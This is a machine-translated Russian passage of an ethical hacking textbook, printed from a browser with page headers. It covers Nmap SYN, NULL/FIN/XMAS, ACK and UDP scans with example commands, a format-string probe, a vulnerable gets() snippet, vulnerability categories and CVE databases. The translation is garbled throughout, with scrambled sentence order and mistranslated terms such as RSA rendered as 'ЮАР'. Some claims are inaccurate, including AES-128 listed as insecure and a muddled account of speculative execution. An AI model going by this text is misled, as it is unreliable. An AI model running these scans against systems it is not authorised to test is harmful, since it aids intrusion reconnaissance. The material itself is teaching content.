Этот метод является наиболее распространенным и наиболее широко используемым сканированием TCP.
https://translate.googleusercontent.com/translate_f 95/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
метод. Это метод сканирования по умолчанию в Nmap . Однако это может быть
явно включен с помощью переключателя -sS . Например:
#nmap –Pn -sS 1-1024 192.168.1.1

3. TCP NULL, FIN и сканирование XMAS.


Эти три метода работают аналогично друг другу; и поэтому они
обычно сгруппированы вместе:

NULL Scan отправляет TCP-пакет без установленных флагов.


FIN Scan отправляет TCP-пакет с установленным флагом FIN.
XMAS Scan отправляет TCP-пакет с FIN, URG и PSH
установлены флаги.
Основополагающий принцип, лежащий в основе этих трех методов, заключается в том, что
Операционная система должна ответить RST при получении такого
типы пакетов TCP (NULL, FIN и XMAS), если порт закрыт.
Однако, если порт открыт, ответа не должно быть. По этой причине,
эти методы надежны, чтобы узнать, какие порты фактически закрыты . На
с другой стороны, отсутствие ответа может означать, что порт открыт.
или порт фильтруется брандмауэром / ACL.
К сожалению, этот основной принцип реализуется не всеми.
ОС. ОС на базе UNIX реализуют этот принцип, и поэтому
надежно использовать эти методы для поиска закрытых портов в UNIX-системах
система. С другой стороны, ОС Microsoft и Cisco IOS не
реализуют этот принцип, и они отвечают RST независимо от того,
порт открыт или закрыт. Таким образом, результаты сканирования NULL, FIN,
и сканирование XMAS ненадежно против этих ОС.
Эти методы сканирования можно включить в Nmap, используя следующие
переключатели:
-sN Для NULL сканирования

Стр. Решебника 128

-sF Для сканирования FIN


-sX Для сканирования XMAS

4. Сканирование TCP ACK


Принцип, лежащий в основе этого метода, заключается в отправке TCP-пакета с ACK.
установлен флаг. ОС всегда отвечает пакетом RST независимо от того,
порт открыт или закрыт. Таким образом, этот метод не используется для поиска
статус порта.
Однако этот метод больше подходит для определения того, является ли порт
фильтруется ACL / брандмауэром или нет. Другими словами, если мы получим RST
пакет, это означает, что порт не фильтруется ; если ничего не получено, порт
предполагается, что фильтруется . Следующие диаграммы объясняют это поведение:

https://translate.googleusercontent.com/translate_f 96/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Итак, этот метод хорош для поиска правил ACL брандмауэра.


между нашей сканирующей машиной и целевой системой. Его можно включить
в Nmap с помощью ключа -sA
#nmap –Pn -sA 1-1024 192.168.1.1

Сканирование UDP-портов
Учитывая, что протокол UDP не требует установления соединения, сканирование портов UDP очень

Стр. 129

медленно и сложно. Многие открытые порты UDP не отвечают на зонды UDP, и


закрытые порты отвечают сообщением ICMP «Порт недоступен» со скоростью 1 пакет в секунду.
Это выполняется путем отправки зонда UDP на определенный порт на целевой хост.
Если получен ICMP Port Unreachable, порт закрывается . Если ответ UDP
получается, что очень редко, порт открыт. Если ничего не получено,
порт либо открыт, либо отфильтрован.
Он включается в Nmap с помощью ключа -sU
#nmap –Pn -sU 1-1024 192.168.1.1

Обнаружение версии службы


Чтобы найти уязвимости в целевой системе, нам нужно выяснить
какие сетевые службы - вместе с их версиями - работают на этих
открытые порты, обнаруженные на данный момент. Зная сетевой сервис и его
версии (например, IIS 8.5 , Apache 2.2 и т. д. ), мы можем искать существующие
уязвимости, связанные с такой сетевой службой.
Обнаружение версии службы выполняется путем отправки нескольких пакетов с
разные варианты и параметры. Затем, изучив ответы и
сравнивая их с базой данных, Nmap может точно идентифицировать сервис
и версия. Например, хотя и Apache, и IIS прослушивают порт 80
по умолчанию ответы, которые они генерируют на запросы Nmap, отличаются от одного
Другая; и основываясь на этих различиях, Nmap может определить, какая сетевая служба
фактически прослушивает удаленно открытый порт 80.
Определение версии службы включено в Nmap с помощью ключа -sV.
На следующем снимке показано обнаружение версии службы в действии [3]:

https://translate.googleusercontent.com/translate_f 97/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.130

Операционная система (ОС) Отпечатки пальцев


Принцип, лежащий в основе снятия отпечатков пальцев ОС, заключается в том, что разные поставщики реализую
стек TCP / IP иначе. Мало того, каждая выпущенная версия ОС
от того же производителя может иметь собственную уникальную реализацию TCP / IP
куча. Благодаря уникальной реализации TCP / IP сообщество специалистов по безопасности
во всем мире всегда стараются найти уникальную сигнатуру каждой выпущенной ОС.
Метод определения такой уникальной подписи осуществляется путем отправки огромных
количество пакетов TCP и UDP с различными опциями и параметрами (например,
Выборка TCP ISN , поддержка и упорядочивание опций TCP , выборка IP ID , начальная
проверка размера окна и т. д. ). Ответы, сгенерированные целевой ОС, затем
проанализированы, чтобы найти шаблоны, уникальные только для этой конкретной ОС.
У Nmap есть база данных сигнатур для сотен ОС. Когда ОС
Снятие отпечатков пальцев включено, Nmap отправляет множество пакетов TCP / UDP к цели
система, а затем исследует каждый бит в ответах. На основе таких
При проверке, Nmap может точно угадать целевую операционную систему. В
База данных Nmap содержит более 2600 известных отпечатков ОС. Когда
Nmap генерирует отпечаток пальца, он будет содержать следующее
Информация:

Произвольное текстовое описание ОС


Классификация с указанием названия производителя (Sun)

Стр. Решебника 131

Базовая ОС (Solaris)
Поколение ОС (10)
Тип устройства (общего назначения, маршрутизатор, коммутатор и т. Д.)
Отпечатки ОС можно включить с помощью переключателя -O

https://translate.googleusercontent.com/translate_f 98/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 132

Модуль 06 Анализ уязвимостей.


Обзор
Уязвимость - это дыра в безопасности или слабое место в компьютерной системе, программном обеспечении.
приложение или сетевая служба, которой может воспользоваться хакер.
Анализ уязвимости, также известный как оценка уязвимости, - это процесс
сканирование уязвимостей, а затем определение их приоритетов и оценка
уязвимости, основанные на представляемом ими риске. Этот шаг предшествует
эксплуатация - акт взлома цели.
Если вы, тестер на проникновение, выполнили этап сканирования правильно, как
как было описано ранее, к настоящему времени у вас должен быть список всех сетевых сервисов -
вместе с их версиями, которые работают удаленно на цели. Таким образом, вы
готовы сейчас проверить все уязвимости, существующие в этих сервисах.
Существуют как автоматические, так и ручные способы проверки этих
уязвимости. Однако важно то, что вам следует
понять, что такое уязвимости, какие разные классы уязвимостей
существуют, и как эти уязвимости обнаруживаются в сетевых службах и
программные приложения. Это предварительное условие для фазы эксплуатации - или
https://translate.googleusercontent.com/translate_f 99/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
взлом.
Первоначальное обнаружение уязвимостей
Когда новое программное обеспечение только что разработано, никаких уязвимостей нет.
известно о существовании в нем. Однако это не означает, что он безопасен. Это только означает
что никто не потрудился обнаружить уязвимости. В основном там
три основных способа первоначального обнаружения новых уязвимостей.
обнаруженный:
а) Преданными исследователями безопасности или хакерами в черной шляпе
Изначально при появлении нового программного приложения - будь то сетевая
сервис или десктопное приложение - выпущено в маркет, нет
известные уязвимости, связанные с ним. Его поставщик предполагает, что это
безопасный. Специализированные и независимые исследователи безопасности, т. Е. Белые шляпы
хакеры, а также хакеры в черной шляпе всегда получают свои
недавно выпущенные приложения. Они могут перепроектировать те
приложений, или они могут использовать другие методы, которые проверяют
уровень безопасности этих приложений. Их тест безопасности может выявить

Стр. Решебника 133

новая уязвимость. И, как примечание, недавно обнаруженная уязвимость


то, что можно использовать, называется «нулевым днем» (0-Day). Хакер в белой шляпе
всегда сообщит поставщику об обнаруженной уязвимости,
в то время как хакер в черной шляпе будет использовать новую уязвимость, чтобы вызвать
вред, например, написание нового вируса, использующего программное обеспечение, или выпуск
эксплойт нулевого дня для других хакеров без уведомления поставщика.
б) Случайно или случайно
Когда клиенты используют недавно выпущенные приложения, они могут
случайно обнаружить уязвимость из-за нерегулярного использования
приложение. Обычно это приводит к сбою или DoS-атаке. Клиент
затем сообщит о проблеме поставщику, где она будет
исследованы и в конечном итоге исправлены.
c) Исследование безопасности, спонсируемое поставщиком.
Продавцы, которые заботятся о безопасности своей продукции, обычно нанимают
команда исследователей безопасности, которые проверяют безопасность любого недавно выпущенного
заявление. Роль группы безопасности - обнаруживать уязвимости
до того, как приложение будет продано клиентам и до хакеров в черной шляпе
попытаться обнаружить эти уязвимости.
При обнаружении уязвимости поставщик должен сначала сообщить об этом
клиентов и предложить обходной путь. Затем поставщик должен работать над
разработка патча безопасности , устраняющего уязвимость.
Координационный центр CERT (группа реагирования на компьютерные чрезвычайные ситуации)
(CERT / CC) имеет политику раскрытия уязвимостей. После первого контакта
с поставщиком, CERT / CC ждет 45 дней, прежде чем раскрыть
уязвимость для общественности, независимо от того, выпустил ли поставщик патч или
нет. Эта политика побудит поставщика создать исправление как можно быстрее.
возможно в течение 45 дней. Кроме того, эта политика уважает необходимость
широкая общественность должна знать о существующих уязвимостях.
Обратный инжиниринг
Выше мы упоминали, как исследователи безопасности (белые, серые или
black-hat) обнаруживают уязвимости в новом программном приложении путем обратного
https://translate.googleusercontent.com/translate_f 100/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
инженерное это. Обратный инжиниринг - это процесс детального изучения
исполняемое приложение и знакомство с его внутренней работой без
имея доступ к исходному коду. Это глубокая наука сама по себе, и она

Стр. Решебника 134

выходит за рамки этой книги. Однако, как тестер на проникновение, вам следует
иметь общее представление о концепции обратного инжиниринга.
Существуют различные методы и инструменты, которые помогают реконструировать. Те
методы и инструменты обычно подпадают под одну из следующих двух
категории:

а. Статический анализ

Это процесс анализа исполняемого двоичного файла без


выполняя его на процессоре. Например, аналитик может извлечь
Строки ASCII из двоичного файла, проверьте заголовки и разделы файлов,
проверять указатели и ссылки и даже генерировать высокоуровневый код
из машинного кода. Два распространенных инструмента статического анализа:
Дизассемблеры и декомпиляторы. Дизассемблеры конвертируют двоичный файл в
структурированный код сборки, в то время как декомпиляторы пытаются сгенерировать
программный код высокого уровня (например, на C, Java, C # и т. д.).

б. Динамический анализ

Это процесс анализа исполняемой программы с помощью


запускает его на процессоре. Это можно сделать либо на реальном процессоре, либо на
виртуализированная (или песочница) среда. Обычно это делается через
инструменты, известные как отладчики. Используя отладчик, аналитик может установить, что
известен как «Точки останова», где выполнение останавливается, чтобы
аналитик может изменить определенные параметры и затем возобновить выполнение. А
распространенной техникой динамического анализа является фаззинг, когда аналитик
может вставить несколько нетрадиционных входов и изучить реакцию
программа для каждого из этих входов.
Категории уязвимости
Уязвимости сгруппированы по категориям в зависимости от их происхождения или воздействия.
Таким образом, с помощью категорий мы можем иметь превентивные меры или решения для
уязвимости, которые похожи друг на друга.
Есть много разных категорий. Однако следующие семь категорий
самые распространенные:
Недостаточные уязвимости при проверке входных данных
Большинство компьютерных приложений получают определенные входные данные от внешних

Стр. Решебника 135

источники, такие как пользователи и файлы. Например, веб-приложение может запрашивать


пользователь вводит свое имя пользователя, пароль, адрес электронной почты или номера телефонов.
Это вводимые пользователем данные, которые приложение должно использовать и хранить.
https://translate.googleusercontent.com/translate_f 101/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Также приложение может прочитать файл конфигурации и получить некоторые параметры.


Эти параметры являются внешними входами для приложений.
Безопасное приложение всегда проверяет любой внешний ввод. Другими словами,
предполагается, что никаким внешним входам нельзя доверять. Проверка ввода означает обеспечение
что ввод - это именно то, что приложение ожидает с точки зрения длины,
содержание, формат и т. д. Например, если приложение читает электронное письмо
адрес от пользователя, приложение должно проверить, что ввод действительно
адрес электронной почты правильной длины формата. Если ввод неправильный,
приложение правильно обрабатывает такое исключение.
Отсутствие проверки ввода предоставляет злоумышленникам дверь в
заявление. Поскольку хакеры мыслят нестандартно, они могут отправлять данные, которые
приложение не могло ожидать, что привело к ненормальному поведению части
приложение.
Уязвимости проверки входных данных можно разделить на несколько разделов;
наиболее распространены два раздела:

I. Уязвимости, связанные с переполнением буфера


Буфер - это последовательный сегмент памяти, выделенный для хранения
что угодно, от символьной строки до массива целых чисел:

… STRING ………

Когда программа пытается поместить в буфер больше данных, чем может


store, дополнительные данные будут перезаписывать область памяти за пределами буфера.
Запись за пределами блока выделенной памяти может привести к повреждению
данные, приводят к сбою программы или запуску вредоносного кода.

Стр.136

… STRING . ДОПОЛНИТЕЛЬНО + ДАННЫЕ……

Ниже приведен пример сегмента кода, который читает " имя пользователя ".
введено пользователем:
...
char имя пользователя [100];
получает (имя пользователя);
...

Если пользователь вводит более 100 символов, буфер, связанный с


переменное имя пользователя будет переполнено. Если дополнительные данные представляют собой строку
случайные символы, программа вылетит. Однако хакер может
вставить специально созданную строку символов - например, шеллкод или
полезная нагрузка - это может привести к выполнению кода .

https://translate.googleusercontent.com/translate_f 102/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Вот несколько реальных примеров уязвимостей переполнения буфера:
CVE-2010-2730

Эта уязвимость описана в базе данных CVE как переполнение буфера в Microsoft.
Internet Information Services (IIS) 7.5, когда включен FastCGI, позволяет удаленным злоумышленникам
для выполнения произвольного кода с помощью созданных заголовков в запросе, также известного как "Буфер заголовка запроса"
Уязвимость переполнения ".

CVE-2012-0150

Эта уязвимость описана в базе данных CVE как Переполнение буфера в msvcrt.dll в
Microsoft Windows Vista с пакетом обновления 2 (SP2), Windows Server 2008 с пакетом обновления 2 (SP2), R2 и R2 с пакетом обновления 1 (SP1) и W
Gold и SP1 позволяют удаленным злоумышленникам выполнять произвольный код через созданный медиафайл,
также известная как «Уязвимость Msvcrt.dll, связанная с переполнением буфера».

CVE-2016-0015

Эта уязвимость описана в базе данных CVE как DirectShow в Microsoft Windows.
Vista SP2, Windows Server 2008 SP2 и R2 SP1, Windows 7 SP1, Windows 8, Windows
8.1, Windows Server 2012 Gold и R2, а также Windows 10 Gold и 1511 позволяют удаленно
злоумышленники могут выполнить произвольный код через созданный файл, также известный как DirectShow Heap Corruption.
Уязвимость удаленного выполнения кода ».

Стр. Решебника 137

II. Уязвимости форматной строки[4]


Этот конкретный класс уязвимостей связан с тем, как C
Язык программирования обрабатывает вывод строк. C предоставляет два
способы распечатать строку, и они следующие:

а. Печать строки с использованием строки формата ( правильный способ ):

printf («% s», буфер);

б. Прямая печать строки ( неправильный способ ):

printf (буфер);

Давайте посмотрим на следующие сценарии и посмотрим, что произойдет, если


пользователь вводит некоторые нормальные и ненормальные вводы:

Если пользователь вводит abcdefgh , то каждый из вышеперечисленных методов


станет:
printf («% s», «abcdefgh»);
а также
printf («abcdefgh»);

И оба будут печатать одну и ту же строку: abcdefgh

Если пользователь (например, хакер) вводит AAAA% 08x.% 08x.% 08x.% 08x ,
тогда два метода станут следующими:
printf («% s», «AAAA% 08x.% 08x.% 08x.% 08x»);
а также
printf («AAAA% 08x.% 08x.% 08x.% 08x»);

Первый метод напечатает строку AAAA% 08x.% 08x.% 08x.% 08x как
это, однако, второй напечатает первую часть AAAA plus
четыре шестнадцатеричных числа из соседней памяти. Таким образом, этот метод
приведет к утечке информации. Другими словами, хакер может
читать сегменты памяти.
https://translate.googleusercontent.com/translate_f 103/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Вот реальный пример уязвимости строки формата:

CVE-2012-1851

Эта уязвимость описана в базе данных CVE как « Уязвимость форматной строки в

Стр. Решебника 138

служба диспетчера очереди печати в Microsoft Windows XP SP2 и SP3, Windows Server
2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2 и R2 SP1 и
Windows 7 Gold и SP1 позволяют удаленным злоумышленникам выполнять произвольный код через
обработанный ответ, также известный как «Уязвимость строки формата службы диспетчера очереди печати».

III. Уязвимости десериализации


Этот класс уязвимостей в основном связан с программами Java,
хотя они существуют в PHP, Python и Ruby. Java использует концепции
сериализации и десериализации. Сериализация - это процесс
преобразование объекта в поток байтов. Это облегчает передачу
сериализованный объект по сети. Десериализация - это процесс
преобразование потока байтов в исходный объект Java. Следующий
изображение иллюстрирует эту концепцию:

Стр.139

https://translate.googleusercontent.com/translate_f 104/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Проблема возникает, когда принимающий узел (узел 2 в примере


выше) не проверяет и не проверяет десериализованный объект. В других
слова, если принимающий узел десериализует поток байтов, а затем напрямую
использует реконструированный объект, злоумышленник может внедрить вредоносный объект
в этот узел.
Ниже приведены два примера уязвимостей десериализации:

CVE-2015-4852

Согласно базе данных CVE, компонент безопасности WLS в


Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0 и
12.2.1.0 позволяет удаленным злоумышленникам выполнять произвольные команды
через созданный сериализованный объект Java в трафике протокола T3 в TCP
порт 7001, г. связанные с к
oracle_common / modules / com.bea.core.apache.commons.collections.jar.

CVE-2017-9363

Эта уязвимость описана в базе данных CVE как Недоверенная.


Сериализация Java в консоли Soffid IAM до версии 1.7.5 позволяет
удаленные злоумышленники для достижения произвольного удаленного выполнения кода через

Стр. Решебника 140

созданный запрос аутентификации.


Криптографические уязвимости
Эта категория содержит уязвимости, связанные с тем, как приложения обрабатывают
шифрование и дешифрование конфиденциальной информации. Криптографический
уязвимость приводит к нарушению конфиденциальности информации. А также
использование криптографической уязвимости позволяет злоумышленнику получить доступ к конфиденциальны
Информация. Эту категорию можно разделить на следующие три
подкатегории:

Я. Небезопасные алгоритмы
Программное приложение может быть уязвимо, если оно использует алгоритмы, которые
оказались ошибочными или слабыми, т. е. алгоритмы, которые когда-то были сильными
но были отозваны. В следующей таблице перечислены некоторые из слабых
криптографические алгоритмы в отличие от сильных и безопасных:

https://translate.googleusercontent.com/translate_f 105/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Криптографический Слабый / небезопасный Сильный / Безопасный
Класс Алгоритмы Алгоритмы
Симметричный DES, 3DES AES
Шифрование
Асимметричный - RSA, DSA, ECC
Шифрование
Хеширование MD4, MD5 SHA256, SHA512

Также приложение никогда не должно использовать нестандартные алгоритмы. В других


словами, алгоритмы шифрования собственной разработки или проприетарные
алгоритмы - никогда не могут быть более безопасными, чем одобренные на международном уровне
стандартные алгоритмы.

II. Слабые ключи шифрования


Алгоритмы шифрования работают, предоставляя ключ вместе с сообщением.
зашифровать. Короткие ключи можно взломать быстрее, чем длинные. Таким образом, это
важно иметь длинный ключ. Кроме того, ключ должен быть достаточно случайным.
а не представление пароля, выбранного человеком. Следующий
в таблице указана рекомендуемая длина ключа для различных криптографических
алгоритмы:

Стр. Решебника 141

Криптографический Небезопасная длина Безопасная длина


Алгоритм
AES 128 192, 256
ЮАР 512, 1024 2048, 4096
ECC - 256

III. Ключевое раскрытие


Ключи могут быть переданы посторонним лицам, если они не
зашифрованы во время хранения или передачи. Также ключи могут быть раскрыты, если
они жестко запрограммированы в коде или просто хранятся в файлах конфигурации.
Уязвимости конфигурации
Эти уязвимости возникают в результате неправильной или неправильной настройки
Приложения. Системные администраторы и ИТ-инженеры всегда должны
практики при настройке любого устройства или службы. Ниже приведены несколько
примеры уязвимостей конфигурации:

Неограниченный перенос зоны

Пример уязвимости конфигурации - выход из зоны DNS.


Передача неограниченная. Лучшая практика в этом сценарии - ограничить
Перенос зоны только на вторичные DNS-серверы или полностью отключить его.
Однако разрешение передачи зоны на любой хост - это
слабость / уязвимость, которая позволяет хакерам легко получить всю
Зона DNS.

Публично открытый SIP-сервис

SIP (протокол инициации сеанса) используется для услуги передачи голоса по IP (VoIP).
Компании используют SIP-серверы, чтобы телефонные звонки в пределах одного
https://translate.googleusercontent.com/translate_f 106/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
офис или между филиалами, передаются по сети TCP / IP (либо
LAN или VPN). При настройке нескольких SIP необходимо соблюдать осторожность.
серверы в нескольких филиалах. Если SIP-сервер подключен к Интернету
через неправильно настроенные правила брандмауэра злоумышленники могут бесплатно
звонки через этот SIP-сервер.
Уязвимости протокола TCP / IP

Стр. Решебника 142

Многие протоколы TCP / IP изначально были реализованы без защиты.


образ мышления. И это позволило хакерам злоупотребить этими протоколами и вызвать
непреднамеренное поведение, которое может привести к перехвату трафика, отказу
услуги, раскрытие информации и т. д. Со временем некоторые из этих протоколов были
переработан и стал безопаснее. Однако некоторые другие протоколы все еще
уязвимый и слабый. Ниже приведены примеры некоторых протоколов TCP / IP.
уязвимости:
Отравление ARP

Техника отравления ARP - описана в разделе "Перехват трафика"


модуль - использует принцип работы ARP без аутентификации или
авторизация. Злоумышленник может легко манипулировать таблицей / кешем ARP.
машины-жертвы, если они находятся в одной подсети. К сожалению, это
уязвимость остается нефиксированной в самом протоколе ARP и до тех пор, пока
Cегодня. Причина, по которой это не исправлено, заключается в том, чтобы сохранить облегченную функц
ARP. Однако есть программные приложения, которые могут защитить
против этого типа атак. Кроме того, некоторые переключатели также могут обнаруживать
и предотвратить отравление ARP.

Отравление DNS

Атаки на протоколы DNS позволяли хакерам в прошлом вводить


ложные записи DNS в DNS-сервер или DNS рабочей станции
кеш. Некоторые методы отравления DNS имеют место, когда злоумышленник
и жертва находятся в одной подсети. Однако некоторые методы могут быть
сделано из Интернета, хотя это стало чрезвычайно
сложно в последнее время. В 2008 году был обнаружен недостаток -
исследователь безопасности Дэн Камински - во многих DNS-серверах,
позволяет злоумышленникам отравить любую запись в уязвимый рекурсивный DNS
серверы. Это было связано с тем, что эти серверы не меняли свои
Номер порта источника UDP с каждым новым запросом DNS. Атака
получил название «Атака Каминского».

Исчерпание DHCP

DHCP - это протокол, отвечающий за назначение динамического IP-адреса.


конфигурации для рабочих станций в локальной сети. DHCP работает через

Стр. Решебника 143

https://translate.googleusercontent.com/translate_f 107/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

процесс, известный как DORA - обнаружение, предложение, запрос и


Сознавать. Рабочая станция (клиент) сначала отправляет широковещательную рассылку Discover
сообщение; DHCP-сервер получает это сообщение и отвечает
Предложение (которое включает в себя все необходимые конфигурации IP); клиент тогда
отправляет сообщение запроса с запросом предлагаемой конфигурации; а также
наконец, сервер отправляет сообщение подтверждения. Однажды
Процесс DORA завершен, сервер отмечает в своем пуле зарезервированные
динамический IP-адрес. Учитывая отсутствие какого-либо механизма аутентификации,
злоумышленник может имитировать процесс DORA бесконечно, пока IP
адресный пул DHCP-сервера исчерпан. Сервер при этом
момент выходит из строя и не может отвечать ни на какие законные
рабочая станция.

Манипуляции с маршрутизацией

Протоколы маршрутизации, такие как RIP и OSPF, особенно старые версии, являются
также подвержен различным атакам. Например, более старые версии, в которых
не иметь какой-либо формы аутентификации и / или авторизации
уязвимы для атак спуфинга. Злоумышленник может отправлять поддельные пакеты,
нарушить таблицы маршрутизации в автономной системе (AS) и
объявляет свою машину законным маршрутизатором; таким образом, злоумышленник
получает весь трафик. Существует инструмент под названием « Межсетевая маршрутизация.
Protocol Attack Suite ( IRPAS ) », предназначенный для выполнения маршрутизации
протоколные атаки. Его домашняя страница:

http://www.phenoelit.org/irpas/index.html
Уязвимости аутентификации
Аутентификация - это процесс подтверждения личности определенного объекта.
(например, пользователь или процесс). Аутентификация выполняется с помощью одного или нескольких
следующий:

Что такое пользователь: например, отпечатки пальцев, распознавание лица или голоса.
Что знает пользователь: например, пароли.
Что есть у пользователя: например, карта доступа или одноразовый токен.
Примеры уязвимостей, связанных с паролями:

Я. Жестко закодированные пароли

Стр. Решебника 144

Пароли записываются в виде обычного текста внутри кода. Все разработчики


может читать пароли. Кроме того, если хакеру удастся реконструировать
приложение, он может читать пароли. Правильный и лучший
Практическая процедура обработки паролей заключается в их хэшировании и хранении
в серверной системе баз данных. Программа запрашивает БД для проверки
введенный пользователем пароль по сравнению с паролем в БД.

II. Пароли с пустой строкой


Пароль с пустой строкой - это пустой пароль. И это делает
аутентификация такая же слабая, как имя пользователя, которое обычно является общедоступным или
предположительно. Как только хакер узнает имя пользователя, он получает доступ к
система.

https://translate.googleusercontent.com/translate_f 108/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
III. Пароли по умолчанию
Многие производители и поставщики устанавливают пароли по умолчанию для своих
техника и приложения. Если эти пароли не меняются,
эти системы уязвимы для подбора пароля. Это долг системы
администраторов и инженеров, чтобы убедиться, что они первым делом
при установке новой системы необходимо изменить учетные данные по умолчанию.
Уязвимости авторизации
Авторизация - это процесс предоставления привилегий и прав после объекта
был аутентифицирован.
Наиболее распространенный способ возникновения уязвимости авторизации
нарушая малейшие привилегии. Когда пользователь обращается к системе как обычно
пользователь (не как root / администратор), все процессы, запущенные этой учетной записью пользователя
будут иметь ограниченные привилегии. В случае, если определенный процесс требует выполнения задачи с
административные привилегии, он временно повысит свои привилегии, чтобы
выполнить такую ​задачу. Однако он должен отказаться от этих повышенных привилегий.
сразу после завершения операции. Если процесс не прервался
эти привилегии, процесс будет продолжать работать как root / admin и любой
другая уязвимость будет иметь большее влияние на систему. Другими словами,
более поздние уязвимости будут использоваться с правами администратора / root вместо
привилегии пользователя.
Уязвимости доступности
Уязвимость доступности может возникнуть одним из двух возможных способов:

Стр. Решебника 145

Я. Не обрабатывать отсутствующий ресурс


Когда приложение пытается получить доступ к отсутствующему или заблокированному файлу, и оно
не имеет подходящего обработчика исключений, приложение может аварийно завершить работу
вызывая отказ в обслуживании.

II. Блокировка ресурса на длительный период времени


Когда приложение использует файл, этот файл обычно заблокирован и не может
будут доступны другим процессам и приложениям. Приложение должно
разблокировать файл после завершения операции. Однако невозможность разблокировки
файл сделает файл недоступным для других процессов и систем.
вызывая отказ в обслуживании.
Уязвимости оборудования
Это новый класс уязвимостей, отличный от всех предыдущих.
категории. Пока что предыдущие категории касались программных
уязвимости, вызванные плохой практикой программирования. Этот класс
содержит уязвимости в аппаратном обеспечении ЦП из-за плохого
производственный дизайн. Таким образом, их нелегко исправить; некоторые требуют
патчить прошивку, а остальные остаются до тех пор, пока аппаратная составляющая не будет
заменены и модернизированы.
Хотя аппаратные уязвимости существовали всегда, их не было.
уделяется много внимания из-за их низкого воздействия и сложной эксплуатации.
Однако в 2018 году две уязвимости процессоров изменили это восприятие. В
две уязвимости называются Meltdown и Spectre, и они затронули Intel
ЦП. Эти уязвимости существуют из-за современной функции ЦП, известной как
Спекулятивное исполнение .
Спекулятивное выполнение - это функция современных ЦП, которая была имплантирована для

https://translate.googleusercontent.com/translate_f 109/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
ускорить процесс
всякий раз, выполнения
когда ЦП программ.
сталкивается В нормальном
с условием процессе
(например, выполнения
если оператор с истинным или ложным
путей), ЦП оценивает условие, а затем переходит к выполнению
правильный путь; если условие истинно, ЦП выполняет инструкции
соответствующий «истинному» результату. В противном случае ЦП выполнит
инструкции, соответствующие «ложному» пути. Однако под спекулятивным
Выполнение, ЦП выполняет оба пути заранее - до условия
оценка - и сохраняет результаты в своем кеше. И как только условие
оценивается, ЦП выбирает правильные результаты из своего кеша. Чтобы проиллюстрировать, если

Стр. Решебника 146

есть условие, которое гласит: « Если A истинно, сделайте X; если A ложно, сделайте Y », - ЦП
теперь вычисляет как X, так и Y, сохраняет их в кеше, и как только условие
оценивается, подбирает правильный выбор.
Учитывая, что обе логические ветви были выполнены и сохранены в кеше,
запущенная программа, не имеющая права видеть ни одну из логических
ветки, теперь могут запустить так называемую атаку побочного канала и получить доступ к сохраненным
данные. Зная адрес кеша данных, он может проверить содержимое
этот кеш не путем прямого доступа к нему (поскольку у него нет разрешения), а скорее
тем, насколько «быстрый» процессор отвергает свою попытку. Удержание из ответа
скорость называется атакой по стороннему каналу.
Для получения дополнительной информации об уязвимостях Spectre и Meltdown вы можете
проверьте этот сайт:
https://meltdownattack.com
Отслеживание и рейтинг уязвимостей
Система Common Vulnerabilities and Exposures (CVE)
Система CVE - это база данных (справочная система словарного типа или список)
все общеизвестные уязвимости и угрозы информационной безопасности. это
поддерживается MITER Corporation и спонсируется National Cyber
Отдел безопасности (NCSD) Министерства внутренней безопасности.
Все общеизвестные уязвимости хранятся в системе CVE. Каждый
уязвимость имеет CVE ID, название, описание, историческую информацию,
решения, оценка, кредиты и другие предметы. Оценка каждого CVE
уязвимость рассчитывается с использованием общей системы оценки уязвимостей.
(CVSS).
Общая система оценки уязвимостей (CVSS)
Каждая уязвимость оценивается на основе того, как ее можно использовать, т. Е.
Возможность использования - и вред, который возникает в результате эксплуатации, то есть Воздействие . В
метрики для определения балла выглядят следующим образом:
Возможность использования
Локальный доступ Соседний Сеть
Доступ
Сеть (Удаленный доступ)
Высокий Середина Низкий
Сложность
Одинокий Никто
Множественная аутентификация

Стр. Решебника 147

https://translate.googleusercontent.com/translate_f 110/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Влияние
Никто Частичное Полный
Конфиденциальность
Никто Частичное Полный
Честность
Никто Частичное Полный
Доступность

Баллы от 1 до 10. Уязвимости с рейтингом 1-3 относятся к категории низкого риска , а уязвимости с рейтингом
от 4 до 7 относятся к категории среднего риска , а те, кто набрал больше 7 баллов, относятся к категории высоко
Риск .
Базы данных об уязвимостях в Интернете
Ручной способ поиска существующих уязвимостей - проверка онлайн.
Базы данных CVE. Вы можете искать уязвимости по производителям, продуктам,
Идентификаторы CVE, типы, даты и т. Д. Популярные базы данных уязвимостей в Интернете:

www.cvedetails.com
www.securityfocus.com/bid
Допустим, мы хотим найти уязвимости, связанные с программным обеспечением.
Apache httpd 2.2.8 , мы можем посетить веб-сайт cvedetails.com, щелкнув по
Ссылка «Поиск версии», а затем введите сведения о нашем программном обеспечении, как показано на
изображение ниже:

Будьте осторожны при вводе правильных названий Поставщика и Продукта, как они есть.
иногда сбивает с толку. Например, если ввести «httpd» в поле «Название продукта».
приводит к другим результатам, чем при вводе «http-сервер».
После того, как вы нажмете «Поиск», вы должны увидеть список связанных уязвимостей.

Стр. Решебника 148

с этой конкретной версией. Как показано на изображении ниже, каждая строка (запись)
представляет собой единственную уязвимость. Обратите внимание на CVE ID (это
уникальный идентификатор уязвимости), Оценка (которая представляет серьезность
уровень), а также описание.

https://translate.googleusercontent.com/translate_f 111/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Вы можете щелкнуть CVE-ID, чтобы получить более подробную информацию об уязвимости:

Автоматические сканеры уязвимостей


